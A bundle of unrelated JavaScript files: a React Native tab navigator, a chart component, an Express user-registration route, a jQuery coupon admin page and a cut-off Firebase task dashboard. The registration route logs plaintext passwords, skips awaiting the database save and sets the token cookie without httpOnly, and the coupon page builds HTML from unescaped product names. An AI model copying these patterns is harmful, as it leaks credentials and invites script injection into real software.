var textColor = focused ? "#00295B" : "#A4A8A8";
let title = "";
if (routeName === 'Home') {
title = "主頁";
} else if (routeName === 'Login') {
title = "登入";
} else if (routeName === 'Message') {
title = "訊息";
} else if (routeName === 'Settings') {
title = "設置";
}
return <View style={styles.tabTextView}><Text style={{fontSize:13,color:textColor}}>{title}</Text></View>
}
}),
tabBarOptions: {
activeTintColor: '#007751',
inactiveTintColor: '#9A9691',
},
}
);
const Navigator = createAppContainer(TabNavigator);
//export default createAppContainer(TabNavigator);
export default class App extends React.Component {
constructor(props) {
super(props);
Text.defaultProps = Object.assign({}, Text.defaultProps, { allowFontScaling: false, color: "#666" })
}
render() {
return (
// <Provider>
<View style={{ flex: 1, paddingBottom:isIphoneX()?20:0}}>
<StatusBar
animated={false} //指定状态栏的变化是否应以动画形式呈现。目前支持这几种样式:backgroundColor, barStyle和hidden
hidden={false} //是否隐藏状态栏。
networkActivityIndicatorVisible={false}//仅作用于ios。是否显示正在使用网络。
showHideTransition={'fade'}//仅作用于ios。显示或隐藏状态栏时所使用的动画效果(’fade’, ‘slide’)。
backgroundColor='rgba(255,255,255,0)'// {'transparent'} //状态栏的背景色
translucent={true}//指定状态栏是否透明。设置为true时,应用会在状态栏之下绘制(即所谓“沉浸式”——被状态栏遮住一部分)。常和带有半透明背景色的状态栏搭配使用。
barStyle={'dark-content'} // enum('default', 'light-content', 'dark-content')
/>
{/* <Provider store={store}> */}
<Navigator />
{/* </Provider> */}
</View>
// </Provider>
);
}
}
const styles = StyleSheet.create({
tabTextView:{
justifyContent:'center',
alignItems:'center',
},
tabIcon:{
width:20,
height:20,
resizeMode:'contain'
}
}); |
import PropTypes from 'prop-types';
import React from 'react';
import { css } from 'styled-components';
import cornerArc from 'svg-arc-corners';
import { hashMemo } from '@/utils/hashData';
import injectStyles from '@/utils/injectStyles';
import { COLORS } from '@/utils/styleConstants';
const COLOR = [
COLORS.CHARTS.PIE_CHART.GREY,
COLORS.CHARTS.PIE_CHART.DARK_GRAY,
COLORS.CHARTS.PIE_CHART.LIGHT_BLUE,
COLORS.CHARTS.PIE_CHART.BLUE
];
const Arc = ({ value, sum, className }) => (
<div className={className}>
<svg
width="270"
height="130"
viewBox="0 0 270 130"
fill="none"
xmlns="http://www.w3.org/2000/svg"
>
<path
key="arc"
d={cornerArc([130, 130], 130, -90, value ? -90 + 45 * (value + 1) : 90, 47, 0)}
fill={COLOR[value || 3]}
/>
</svg>
<p>{value || sum}</p>
</div>
);
Arc.propTypes = {
className: PropTypes.string.isRequired,
value: PropTypes.oneOf([0, 1, 2, 3]),
sum: PropTypes.number
};
Arc.defaultProps = {
value: null,
sum: null
};
Arc.displayName = 'SpiroergometryTestSummaryChartElement';
const styles = css`
width: 270px;
height: 130px;
position: relative;
& > p {
position: absolute;
top: 130px;
left: 130px;
text-align: center;
transform: translate(-50%, -100%);
margin: 0;
font: 700 28px/36px var(--dff);
}
`;
Arc.whyDidYouRender = true;
export default injectStyles(hashMemo(Arc), styles);
|
'use strict';
const fs = require('fs');
const events = require('./modular-events/events');
const processFile = require('./modular-events/read-file.js');
/**
* Function uses emitter to pass the file name to the read function
* @param file
*/
const alterFile = (file) => {
//reading file
console.log('alter file:', file);
events.emit('read',file);
};
let file = process.argv.slice(2).shift();
alterFile(file);
|
const express = require('express')
const bcrypt = require('bcrypt')
const jwt = require('jsonwebtoken');
const router = express.Router()
const User = require('../models/User')
const generateToken = data => {
const token = jwt.sign(data, process.env.PRIVATE_KEY)
return token
}
router.get('/register', (req, res) => {
res.render('layouts/register', { layout: 'layouts/register' })
})
router.post('/register', async(req, res) => {
const { firstName, lastName, email, password } = req.body
console.log(firstName, lastName, email, password);
const salt = await bcrypt.genSalt(10)
const hash = await bcrypt.hash(password, salt)
const registerUser = User({
firstName: firstName,
lastName: lastName,
email: email,
password: hash,
articles: []
})
try {
const user = registerUser.save()
const token = generateToken({
userID: user._id,
username: user.firstName
})
res.cookie('aid', token)
res.cookie('user', firstName, {
expires: new Date(Date.now() + 900000),
httpOnly: true,
})
console.log(req.cookies);
res.redirect('/')
} catch (err) {
console.log(err);
return res.redirect('/register');
}
})
module.exports = router |
/**
* Created by Taoxinyu on 2015/10/26.
*/
var CouponTemplate={
AssignGoodsTemp:function(data){
var AssignCoupondom = '<div class="assign_goods_line" data-id="'+data.product_id+'">'+
'<div class="wid80 khxx fl">'+
'<div class="customer_info">'+
'<div class="cus_name" title="">'+data.product_name+'</div>'+
'</div>'+
'</div>'+
'<div class="wid20 fr">'+
'<span class="assign_shanchu">删除</span>'+
'</div>'+
'<div class="cle"></div>'+
'</div>';
$("#assign_goods_container").append(AssignCoupondom);
$("#use_url").val(data.static_url);
//show addBtn when delete all products
$("#assign_goods_container .assign_shanchu").click(function(){
if(GetOnSaleGoodsNum()<1){
$("#add_assign_goods").show();
}
});
},
OnSaleGoodsTemp:function(data){
var OnSaleGoodsdom = '<div class="cus_info_div" id="'+ data.product_id +'" static_url="'+ data.static_url +'" data-title="'+ data.product_name +'">'+
'<div class="wid60 fl khxx pad_l20">'+
'<div class="customer_info">'+
'<div class="cus_name" title="'+ data.product_name +'">'+ data.product_name +'</div>'+
'</div>'+
'</div>'+
'<div class="wid25 fl">'+ data.created_time +'</div>'+
'<div class="wid15 fl tc">'+
'<span class="grey_chose_icon"></span>'+
'</div>'+
'<div class="cle"></div>'+
'</div>';
$("#assign_table_container").append(OnSaleGoodsdom);
},
//优惠券使用图片模板
CouponImgTemp:function(url,container){
var dom='<li data-id="">'+
'<img src="'+ url +'">'+
'<span class="goods_img_del"></span>'+
'</li>';
// if($("#coupon_img_ul").children("li").length<1){
// $("#coupon_img_ul").append(dom);
// }
$("#"+container).append(dom);
}
};
//创建优惠券的数据格式
var CreateOnSaleGoodsData={
"title":"",
"img_url":"",
"dis_limit":"",
"receive_limit":"",
"type":"",
"amount":"",
"type_extend":"",
"type_extend_value":"",
"start_time":"",
"end_time":"",
"dis_range":"",
"description":"",
"products":[],
"share_title":"",
"share_img_url":"",
"share_content":"",
"shareReward_id":"",
"is_show":"",
"use_url":""
}
//获取创建优惠券的数据
function GetCreateOnSaleGoodsData(){
CreateOnSaleGoodsData.title=$("#coupon_name").val();
CreateOnSaleGoodsData.img_url=$("#coupon_img_ul").find("img").attr("src");
CreateOnSaleGoodsData.dis_limit=$("#coupon_total").val();
CreateOnSaleGoodsData.receive_limit=$("#coupon_single_limit").val();
CreateOnSaleGoodsData.type=$("input[name='coupon_type']:checked").attr("data-type");
CreateOnSaleGoodsData.amount=$("#coupon_amount").val();
CreateOnSaleGoodsData.type_extend=$("input[name='coupon_limit']:checked").attr("data-limit");
CreateOnSaleGoodsData.type_extend_value=$("#coupon_limit_value").val();
CreateOnSaleGoodsData.start_time=$("#coupon_start_date").val();
CreateOnSaleGoodsData.end_time=$("#coupon_end_date").val();
CreateOnSaleGoodsData.dis_range="dis_prd_appoint";
//CreateOnSaleGoodsData.dis_range=$("input[name='coupon_scope']:checked").attr("data-scope");
CreateOnSaleGoodsData.description=$("#coupon_description").val();
CreateOnSaleGoodsData.use_url=$("#use_url").val();
var assignchoselen=$("#assign_goods_container").children(".assign_goods_line").length;
if(assignchoselen==0){
CreateOnSaleGoodsData.products=[];
}
else{
var kv=[];
$("#assign_goods_container").children(".assign_goods_line").each(function(index){
kv.push($(this).attr("data-id"));
});
CreateOnSaleGoodsData.products=kv;
}
if($("#share_thiscoupon").prop("checked")){
CreateOnSaleGoodsData.share_title=$("#share_title").val();
CreateOnSaleGoodsData.share_img_url=$("#coupon_img_ul2").find("img").attr("src");
CreateOnSaleGoodsData.share_content=$("#share_content").val();
CreateOnSaleGoodsData.shareReward_id=$("#chose_sharegift_select").find("option:selected").attr("data-id");
CreateOnSaleGoodsData.is_show=$("input[name='wxcard_show']:checked").attr("data-value");
}
else{
CreateOnSaleGoodsData.share_title="";
CreateOnSaleGoodsData.share_img_url="";
CreateOnSaleGoodsData.share_content="";
CreateOnSaleGoodsData.shareReward_id="";
CreateOnSaleGoodsData.is_show="";
}
return JSON.stringify(CreateOnSaleGoodsData);
}
//失去焦点检测优惠券信息
function BlurCheckCouponInput(){
$("#coupon_name").blur(function(){
var activityname=$("#coupon_name").val();
if(activityname===''){
ShowMsgTip($("#coupon_name"),"优惠券名称不能为空!");
return false;
}
if(!illegalChar(activityname)){
ShowMsgTip($("#coupon_name"),"不允许包含特殊字符!");
return false;
}
});
$("#coupon_total").blur(function(){
var couponsl=$("#coupon_total").val();
if(couponsl===''){
ShowMsgTip($("#coupon_total"),"发行总量不能为空!");
return false;
}
if(!(/^[+]?[1-9]\d*$/.test(couponsl))){
ShowMsgTip($("#coupon_total"),"发行总量只能输入正整数!");
$("#coupon_total").val('');
return false;
}
if(parseInt(couponsl) > 999999){
ShowMsgTip($("#coupon_total"),"发行总量不能超过999999!");
$("#coupon_total").val('');
return false;
}
});
$("#coupon_single_limit").blur(function(){
var singlesl=$("#coupon_single_limit").val();
var totalCoupon = $("#coupon_total").val();
if(singlesl===''){
ShowMsgTip($("#coupon_single_limit"),"个人领取限制不能为空!");
return false;
}
if(!(/^[+]?[1-9]\d*$/.test(singlesl))){
ShowMsgTip($("#coupon_single_limit"),"领取限制只能输入正整数!");
$("#coupon_single_limit").val('');
return false;
}
if(parseInt(singlesl) > 999999){
ShowMsgTip($("#coupon_total"),"个人领取不能超过999999!");
$("#coupon_single_limit").val('');
return false;
}
if(parseInt(singlesl) > parseInt(totalCoupon)){
ShowMsgTip($("#coupon_single_limit"),"领取数量不能大于发行总量!");
$("#coupon_single_limit").val('');
return false;
}
});
$("#coupon_amount").blur(function(){
var activityfee=$("#coupon_amount").val();
if(activityfee===''){
ShowMsgTip($("#coupon_amount"),"折扣额度不能为空!");
return false;
}
if(!(/^[+]?\d+\.?\d*$/.test(activityfee)) || (activityfee.substr(activityfee.length-1,1)==".") ){
ShowMsgTip($("#coupon_amount"),"请输入规范的金额数字!");
return false;
}
if($("#xjq").prop("checked")){
if(parseInt(activityfee) > 999999){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过999999!");
$("#coupon_amount").val('');
return false;
}
}
if($("#djxjq").prop("checked")){
if(parseInt(activityfee) > 999999){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过999999!");
$("#coupon_amount").val('');
return false;
}
}
if($("#zkq").prop("checked")){
if(parseInt(activityfee) > 10){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过10折!!");
$("#coupon_amount").val('');
return false;
}else if(parseInt(activityfee) < 1){
ShowMsgTip($("#coupon_amount"),"折扣额度不能小于1折!!");
$("#coupon_amount").val('');
return false;
};
}
});
$("#coupon_limit_value").blur(function(){
var limitval=$("#coupon_limit_value").val();
if($("input[name='coupon_limit']:checked").attr("data-limit")=='dis_islimited'){
if(limitval===''){
ShowMsgTip($("#coupon_limit_value"),"请输入限制金额!");
return false;
}
}
if(limitval!=''){
if(!(/^[+]?\d+\.?\d*$/.test(limitval)) || (limitval.substr(limitval.length-1,1)==".") ){
ShowMsgTip($("#coupon_limit_value"),"请输入规范的金额数字!");
return false;
}
}
if(parseInt(limitval) > 999999){
ShowMsgTip($("#coupon_limit_value"),"限制金额不能超过999999!");
$("#coupon_limit_value").val('');
return false;
}
});
$("#coupon_start_date").blur(function(){
var starttime=$("#coupon_start_date").val();
if(starttime===''){
ShowMsgTip($("#coupon_start_date"),"活动开始时间不能为空!");
return false;
}
});
$("#coupon_end_date").change(function(){
var starttime=$("#coupon_start_date").val();
var endtime=$("#coupon_end_date").val();
if(endtime===''){
ShowMsgTip($("#coupon_end_date"),"活动结束时间不能为空!");
return false;
}
if(endtime<starttime){
ShowMsgTip($("#coupon_end_date"),"活动结束时间不能小于开始时间!");
return false;
}
});
}
//检测创建优惠券信息
function CheckCouponInput(){
var activityname=$("#coupon_name").val();
if(activityname===''){
ShowMsgTip($("#coupon_name"),"优惠券名称不能为空!");
$("body").scrollTop("top");
return false;
}
if(!illegalChar(activityname)){
ShowMsgTip($("#coupon_name"),"不允许包含特殊字符!");
$("body").scrollTop("top");
return false;
}
var couponsl=$("#coupon_total").val();
if(couponsl===''){
ShowMsgTip($("#coupon_total"),"发行总量不能为空!");
return false;
}
if(!(/^[+]?[1-9]\d*$/.test(couponsl))){
ShowMsgTip($("#coupon_total"),"发行总量只能输入正整数!");
$("#coupon_total").val('');
return false;
}
if(parseInt(couponsl) > 999999){
ShowMsgTip($("#coupon_total"),"发行总量不能超过999999!");
$("#coupon_total").val('');
return false;
}
var singlesl=$("#coupon_single_limit").val();
if(singlesl===''){
ShowMsgTip($("#coupon_single_limit"),"个人领取限制不能为空!");
return false;
}
if(!(/^[+]?[1-9]\d*$/.test(singlesl))){
ShowMsgTip($("#coupon_single_limit"),"领取限制只能输入正整数!");
$("#coupon_single_limit").val('');
return false;
}
if(parseInt(singlesl) > 999999){
ShowMsgTip($("#coupon_total"),"个人领取不能超过999999!");
$("#coupon_single_limit").val('');
return false;
}
if($("input[name='coupon_type']:checked").length==0){
layer.msg("请选择优惠券类型!");
return false;
}
var activityfee=$("#coupon_amount").val();
if(activityfee===''){
ShowMsgTip($("#coupon_amount"),"折扣额度不能为空!");
return false;
}
if(!(/^[+]?\d+\.?\d*$/.test(activityfee)) || (activityfee.substr(activityfee.length-1,1)==".") ){
ShowMsgTip($("#coupon_amount"),"请输入规范的金额数字!");
return false;
}
if($("#xjq").prop("checked")){
if(parseInt(activityfee) > 999999){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过999999!");
$("#coupon_amount").val('');
return false;
}
}
if($("#djxjq").prop("checked")){
if(parseInt(activityfee) > 999999){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过999999!");
$("#coupon_amount").val('');
return false;
}
}
if($("#zkq").prop("checked")){
if(parseInt(activityfee) > 10){
ShowMsgTip($("#coupon_amount"),"折扣额度不能超过10折!!");
$("#coupon_amount").val('');
return false;
}else if(parseInt(activityfee) < 1){
ShowMsgTip($("#coupon_amount"),"折扣额度不能小于1折!!");
$("#coupon_amount").val('');
return false;
};
}
if($("input[name='coupon_limit']:checked").length==0){
layer.msg("请选择使用限制类型!");
return false;
}
var limitval=$("#coupon_limit_value").val();
if($("input[name='coupon_limit']:checked").attr("data-limit")=='dis_islimited'){
if(limitval===''){
ShowMsgTip($("#coupon_limit_value"),"请输入限制金额!");
return false;
}
}
if(limitval!=''){
if(!(/^[+]?\d+\.?\d*$/.test(limitval)) || (limitval.substr(limitval.length-1,1)==".") ){
ShowMsgTip($("#coupon_limit_value"),"请输入规范的金额数字!");
return false;
}
}
if(parseInt(limitval) > 999999){
ShowMsgTip($("#coupon_limit_value"),"限制金额不能超过999999!");
$("#coupon_limit_value").val('');
return false;
}
var starttime=$("#coupon_start_date").val();
if(starttime===''){
ShowMsgTip($("#coupon_start_date"),"活动开始时间不能为空!");
return false;
}
var endtime=$("#coupon_end_date").val();
if(endtime===''){
ShowMsgTip($("#coupon_end_date"),"活动结束时间不能为空!");
return false;
}
if(endtime<starttime){
ShowMsgTip($("#coupon_end_date"),"活动结束时间不能小于开始时间!");
return false;
}
if($("#coupon_img_ul").children("li").length<=0){
layer.msg("请添加优惠券图片!");
return false;
}
if($("#share_thiscoupon").prop("checked")){
if($("#coupon_img_ul2").children("li").length<=0){
layer.msg("请添加分享方图!");
return false;
}
var sharetitle=$("#share_title").val();
if(sharetitle==''){
ShowMsgTip($("#share_title"),"分享标题不能为空!");
return false;
}
}
return true;
}
//判断是编辑优惠券还是创建
function JudgeIsEditCoupon(){
var discountid=GetQueryString("discount_id");
if(discountid){
var postdata={
discount_id:discountid
};
var jpostdata=JSON.stringify(postdata);
AjaxPostData("../Home/Discount/queryDiscountInfo",jpostdata,function(result){
if(result.status!=1){
layer.msg(result.msg);
return;
}
var newOnSaleGoodsData= $.extend(CreateOnSaleGoodsData,result.data);
FillEditOnSaleGoodsData(newOnSaleGoodsData);
});
}
}
//初始化分享有礼
function InitShareGiftList(){
var selecter =$("#chose_sharegift_select");
NoAjaxPostData("../Home/ShareReward/queryShareReward",{},function(result){
if(result["status"] == 1){
var dataArray = result["data"];
for(var num in dataArray){
var data = dataArray[num];
selecter.append('<option data-id="'+data.id+'">'+data.title+'</option>');
}
}
});
}
//清空指定商品列表
function ClearAssignGoods(){
$("#assign_goods_container").empty();
}
//填充编辑优惠券的信息
function FillEditOnSaleGoodsData(data){
$("#coupon_name").val(data.title);
if(data.img_url!=''){
CouponTemplate.CouponImgTemp(data.img_url,"coupon_img_ul");
}
$("#coupon_total").val(data.dis_limit);
$("#coupon_single_limit").val(data.receive_limit);
$("input[name='coupon_type'][data-type='"+ data.type+"']").prop("checked",true).trigger("click");
//判断是否为折扣券,是的话截掉0和小数点
if(data.type==='discount_coupon'){
var amountvalue=CutAmountValue(data.amount);
$("#coupon_amount").val(amountvalue);
}
else{
$("#coupon_amount").val(data.amount);
}
$("input[name='coupon_limit'][data-limit='"+ data.type_extend +"']").prop("checked",true);
$("#coupon_limit_value").val(data.type_extend_value);
$("#coupon_start_date").val(data.start_time);
$("#coupon_end_date").val(data.end_time);
//$("input[name='coupon_scope'][data-scope='"+ data.dis_range +"']").prop("checked",true);
$("#coupon_description").val(data.description);
if(data.products.length>0){
for(var i=0;i<data.products.length;i++){
CouponTemplate.AssignGoodsTemp(data.products[i]);
}
$("#assign_table_con").show();
$("#add_assign_goods").hide();
}
if(data.share_img_url!=''){
$("#share_thiscoupon").prop("checked",true);
CouponTemplate.CouponImgTemp(data.share_img_url,"coupon_img_ul2");
$("#share_title").val(data.share_title);
$("#share_content").val(data.share_content);
$("#chose_sharegift_select").find("option[data-id='"+ data.shareReward_id +"']").prop("selected",true);
$("input[name='wxcard_show'][data-value='"+ data.is_show +"']").prop("checked",true);
}
$("#use_url").val(data.use_url);
//手机部分
$("#coupon_name_show").text(data.title);
if(data.type==='discount_coupon') {
var amountvalue=CutAmountValue(data.amount);
$('#coupon_amount_show').text(amountvalue);
}
else{
$('#coupon_amount_show').text(data.amount);
}
$("#coupon_limit_val_show").text(data.type_extend_value);
$("#coupon_startdate_show").text(data.start_time);
$("#coupon_enddate_show").text(data.end_time);
$("#coupon_description_show").text(data.description);
}
//判断是否为折扣券,是的话截掉0和小数点
function CutAmountValue(value){
var cutvalue='';
var valkv=value.toString().split("0");
if(valkv[0].substring(valkv[0].length-1)==='.'){
var spval=valkv[0].split('.');
cutvalue=spval[0];
}
else{
cutvalue=valkv[0];
}
return cutvalue;
}
$(function($){
AddNaviListClass("yhq");
InitShareGiftList();
JudgeIsEditCoupon();
BlurCheckCouponInput();
$("#coupon_amount").change(function(){
var kval=xround($("#coupon_amount").val(),2);
$("#coupon_amount").val(kval);
$("#coupon_amount_show").text(kval);
});
$("#coupon_limit_value").change(function(){
var kval=xround($("#coupon_limit_value").val(),2);
$("#coupon_limit_value").val(kval);
$("#coupon_limit_val_show").text(kval);
});
$("#zkq").bind("click",function(){
$("#coupon_cate_text").text("折");
$("#zkwz").show();
$("#xjwz").hide();
$("#coupon_zk_warn").show();
$("#coupon_cate_warn").hide();
$("#djcoupon_cate_warn").hide();
$("#unlimit").parent().show();
});
$("#xjq").bind("click",function(){
$("#coupon_cate_text").text("元");
$("#zkwz").hide();
$("#xjwz").show();
$("#coupon_zk_warn").hide();
$("#coupon_cate_warn").show();
$("#djcoupon_cate_warn").hide();
$("#unlimit").parent().show();
});
$("#djxjq").bind("click",function(){
$("#coupon_cate_text").text("元");
$("#zkwz").hide();
$("#xjwz").show();
$("#coupon_zk_warn").hide();
$("#coupon_cate_warn").hide();
$("#djcoupon_cate_warn").show();
$("#limit").trigger("click");
$("#unlimit").parent().hide();
});
$("#coupon_limit_value").keydown(function(){
var limit = $("#limit");
var unlimit = $("#unlimit");
if(!limit.prop("checked")){
limit.prop("checked",true);
unlimit.prop("checked",false);
}
});
// $("#coupon_limit_value").blur(function(){
// var limit = $("#limit");
// var unlimit = $("#unlimit");
// if(!$(this).val()){
// $(this).attr("placeholder","0.00");
// limit.prop("checked",false);
//// unlimit.prop("checked",true);
// }
// });
$("#coupon_start_date").datetimepicker({
showSecond:true,
showMillisec: false,
timeFormat: 'hh:mm:ss',
minDate:new Date(),
onClose: function( selectedDate ) {
$( "#coupon_end_date" ).datepicker( "option", "minDate", selectedDate );
}
});
$("#coupon_end_date").datetimepicker({
showSecond:true,
showMillisec: false,
timeFormat: 'hh:mm:ss',
onClose: function( selectedDate ) {
$( "#coupon_start_date" ).datepicker( "option", "maxDate", selectedDate );
}
});
$("#add_assign_goods").bind("click",function(){
$("#assign_dialog").show("drop");
});
$("#assign_dialog_close").bind("click",function(){
$("#assign_dialog").hide("drop");
});
$("#assign_table_container").delegate("span.grey_chose_icon","click",function(){
$("#assign_table_container").find("span.grey_chose_icon").not($(this)).removeClass("green_chose_icon");
$(this).toggleClass("green_chose_icon");
$("#assign_num").text(GetOnSaleGoodsNum());
});
$("#limit").click(function(){
$("#coupon_limit_value").focus();
});
$("#unlimit").click(function(){
$("#coupon_limit_value").val('');
$("#coupon_limit_val_show").text('0.00');
});
$("#all_chose_radio").click(function(){
$("#assign_table_con").hide();
ClearAssignGoods();
});
$("#assign_chose_radio").click(function(){
$("#assign_table_con").show();
});
$("#coupon_submit").bind("click",function(){
if(!CheckCouponInput()){
return;
}
var url='';
if(GetQueryString("discount_id")){
url="../Home/Discount/updateDiscount";
}
else{
url="../Home/Discount/createDiscount";
}
AjaxPostData(url,GetCreateOnSaleGoodsData(),function(result){
if(result.status!=1){
layer.msg(result.msg);
}
else{
window.location.href="../Home/Marketing";
}
});
});
$("#coupon_cancle").bind("click",function(){
window.location.href="../Home/Marketing";
});
PhoneLinkShow("coupon_name","coupon_name_show");
PhoneLinkShow("coupon_amount","coupon_amount_show");
PhoneLinkShow("coupon_limit_value","coupon_limit_val_show");
PhoneLinkShow("coupon_description","coupon_description_show");
$("#coupon_start_date").change(function(){
$("#coupon_startdate_show").text($("#coupon_start_date").val());
});
$("#coupon_end_date").change(function(){
$("#coupon_enddate_show").text($("#coupon_end_date").val());
});
$("#assign_goods_container").delegate("span.assign_shanchu","click",function(){
$(this).parents("div.assign_goods_line").remove();
});
//指定商品弹框中的内容
OnSaleGoodsServerRequest();
$("#refresh_assign_btn").bind("click",function(){
OnSaleGoodsServerRequest();
});
$("#assign_select_btn").bind("click",function(){
if(!illegalChar($("#assign_select").val())){
ShowMsgTip($("#assign_select"),"输入中含有特殊字符!");
$("#assign_select").val('');
return;
}
OnSaleGoodsServerRequest();
});
$("#assign_select").keydown(function(e){
if((e.keyCode || e.which)==13){
$("#assign_select_btn").trigger("click");
}
});
$("#assign_limit li").bind("click",function(){
var nlimit=$(this).text();
$("#assignlb_pagenum").text(nlimit);
$("#assign_limit").hide();
OnSaleGoodsServerRequest();
});
$("#assign_pre").bind("click",function(){
var nowpage=parseInt($("#assign_now_page").text());
nowpage-=1;
if(nowpage<=0){return;}
else{
$("#assign_now_page").text(nowpage);
OnSaleGoodsServerRequest(1);
}
});
$("#assign_next").bind("click",function(){
var nowpage=parseInt($("#assign_now_page").text());
var totalpage=parseInt($("#assign_tot_page").text());
nowpage+=1;
if(nowpage>totalpage){
return;
}
else{
$("#assign_now_page").text(nowpage);
OnSaleGoodsServerRequest(1);
}
});
$("#assign_submit").bind("click",function(){
AppendAssignGoods();
var sptitle=$("#assign_goods_container").find(".assign_goods_line").eq(0).find(".cus_name").text();
$("#share_title").val(sptitle);
});
$("#coupon_img_add_btn").click(function(){
whichaddimgbtn=0;
$("#coupon_img_file").val('');
$("#coupon_img_file").trigger("click");
});
$("#coupon_img_file").change(function(){
$("#coupon_img_submit").trigger("click");
});
$("#coupon_img_ul").delegate(".goods_img_del","click",function(){
$(this).parent("li").remove();
});
$("#coupon_img_add_btn2").click(function(){
whichaddimgbtn=1;
$("#coupon_img_file2").val('');
$("#coupon_img_file2").trigger("click");
});
$("#coupon_img_file2").change(function(){
$("#coupon_img_submit2").trigger("click");
});
$("#coupon_img_ul2").delegate(".goods_img_del","click",function(){
$(this).parent("li").remove();
});
$(".wenhao").hover(function(){
$("#coupon_img_show").show();
},function(){
$("#coupon_img_show").hide();
});
$("#assign_dialog").draggable();
});
//清空优惠券图片
function ClearCouponImg(){
$("#coupon_img_ul").children("li").remove();
}
//清空优惠券图片2
function ClearCouponImg2(){
$("#coupon_img_ul2").children("li").remove();
}
var whichaddimgbtn=0;
//上传新图片回调函数
function UploadCallBack(dataObj){
//console.log(dataObj);
if(dataObj.status===0){
layer.msg(dataObj.msg);
return;
}
if(whichaddimgbtn==0){
ClearCouponImg();
CouponTemplate.CouponImgTemp(dataObj.data.image_path,"coupon_img_ul");
}
else if(whichaddimgbtn==1){
ClearCouponImg2();
CouponTemplate.CouponImgTemp(dataObj.data.image_path,"coupon_img_ul2");
$("#share_thiscoupon").prop("checked",true);
}
}
//联动显示
function PhoneLinkShow(aid,bid){
$("#"+aid).keyup(function(){
$("#"+bid).text($("#"+aid).val());
});
}
//渲染出售中的商品列表
function RanderOnSaleGoods(result){
if(result.status!=1){
layer.msg(result.msg);
return;
}
if(result.data.products.length==0){
$("#onsale_none").show();
}
else{
$("#onsale_none").hide();
}
for(var i=0;i<result.data.products.length;i++){
CouponTemplate.OnSaleGoodsTemp(result.data.products[i]);
}
$("#total_assign").text(result.data.search_total);
var total_num=Math.ceil(result.data.search_total/$("#assignlb_pagenum").text());
if(total_num===0){
total_num=1;
}
$("#assign_tot_page").text(total_num);
}
//传输数据格式
var OnSaleGoodsData={
added_type:'1',
limit:'20',
offset:'0',
product_name:''
}
//统一请求后端的查询出售中商品数据
function OnSaleGoodsPostData(){
OnSaleGoodsData.limit=$("#assignlb_pagenum").text();
OnSaleGoodsData.offset=($("#assign_now_page").text()-1)*OnSaleGoodsData.limit;
OnSaleGoodsData.product_name=$("#assign_select").val();
return JSON.stringify(OnSaleGoodsData);
}
//清空出售中商品列表
function ClearOnSaleGoods(){
$("#assign_table_container").children(".cus_info_div").remove();
}
//查询出售中商品的服务器请求
function OnSaleGoodsServerRequest(flag){
if(!flag){
$("#assign_now_page").text("1");
}
AjaxPostData("../Home/Goods/Query",OnSaleGoodsPostData(),function(result){
ClearOnSaleGoods();
RanderOnSaleGoods(result);
});
}
//获取选中出售中商品的数量
function GetOnSaleGoodsNum(){
var onsalenum=$("#assign_table_container").find(".green_chose_icon").length;
return onsalenum;
}
//获取选中出售中商品的id和name
function GetOnSaleGoodsInfo(){
var onsalekv=[];
$("#assign_table_container").find(".green_chose_icon").each(function(index){
var nid=$(this).parents(".cus_info_div").attr("id");
var ntitle=$(this).parents(".cus_info_div").attr("data-title");
var static_url=$(this).parents(".cus_info_div").attr("static_url");
var onsaleinfo={
product_id:nid,
product_name:ntitle,
static_url:static_url
};
onsalekv.push(onsaleinfo);
});
return onsalekv;
}
//获取选中出售中的商品id数组
function GetOnSaleGoodsID(){
var onsaleids=[];
$("#assign_table_container").find(".green_chose_icon").each(function(index){
var nid=$(this).parents(".cus_info_div").attr("id");
onsaleids.push(nid);
});
return onsaleids;
}
//获取已经指定表格中商品的id数组
function GetAssignGoodsID(){
var assignids=[];
$("#assign_goods_container").find(".assign_goods_line").each(function(index){
var nid=$(this).attr("data-id");
assignids.push(nid);
});
return assignids;
}
//删除重复的指定商品,获取对应数据
function GetOnlyAssignGoodsInfo(){
var assignids=GetAssignGoodsID();
var choseinfo=GetOnSaleGoodsInfo();
if(assignids.length>0){
for(var i=0;i<assignids.length;i++){
for(var j=0;j<choseinfo.length;j++){
if(assignids[i]==choseinfo[j].product_id){
choseinfo.splice(j,1);
}
}
}
}
return choseinfo;
}
//选择指定商品后添加至表格的逻辑
function AppendAssignGoods(){
if(GetOnSaleGoodsNum()<1){
layer.msg("请选择指定的商品!");
return;
}
var nsaledata=GetOnlyAssignGoodsInfo();
//ClearAssignGoods();
for(var i=0;i<nsaledata.length;i++){
CouponTemplate.AssignGoodsTemp(nsaledata[i]);
}
$("#assign_dialog").hide();
$("#assign_table_container").find(".green_chose_icon").removeClass("green_chose_icon");
//hide addBtn when add One product
$("#add_assign_goods").hide();
}
|
import React from 'react';
import ReactDOM from 'react-dom';
import MainApp from "./MainApp";
import {store} from "../stores/feed";
import {Provider} from "react-redux";
ReactDOM.render(
<Provider store={store}>
<MainApp />
</Provider>,
document.getElementById('main')
); |
import React, { Fragment, Component } from "react";
import AddTaskForm from "./AddTaskForm";
import ShowTasks from "./ShowTasks";
import base, { fireBaseApp } from "../base";
import styled from "styled-components";
import { Redirect } from "react-router-dom";
const DashboardContainer = styled.div`
display: flex;
flex-direction: column;
justify-content: center;
margin-top: 50px;
@media (max-width: 890px) {
align-items: center;
}
`;
// fireBaseApp.auth().onAuthStateChanged(user => {
// if (user) {
// const userId = fireBaseApp.auth().currentUser.uid;
// this.ref = base.syncState(`users/${userId}/tasks`, {
// context: this,
// state: "tasks"
// });
// } else {
// return null;
// }
// });
class Dashboard extends Component {
constructor(props) {
super(props);
this.state = {
tasks: {}
};
if (fireBaseApp.auth().currentUser) {
const userId = fireBaseApp.auth().currentUser.uid;
this.ref = base.syncState(`users/${userId}/tasks`, {
context: this,
state: "tasks"
});
} else {
return null;
}
}
addTask = task => {
const tasks = { ...this.state.tasks };
tasks[`task${Date.now()}`] = task;
this.setState({ tasks });
};
editTask = (task, updatedTask) => {
const tasks = { ...this.state.tasks };
tasks[task] = updatedTask;
this.setState({ tasks });
};
removeTask = task => {
const tasks = { ...this.state.tasks };
tasks[task] = null;
this.setState({ tasks });
};
doneTask = task => {
const tasks = { ...this.state.tasks };
tasks[task].isTaskDone = !tasks[task].isTaskDone;
this.setState({ tasks });
};
render() {
return (
<Fragment>
{fireBaseApp.auth().currentUser ? (
<DashboardContainer>
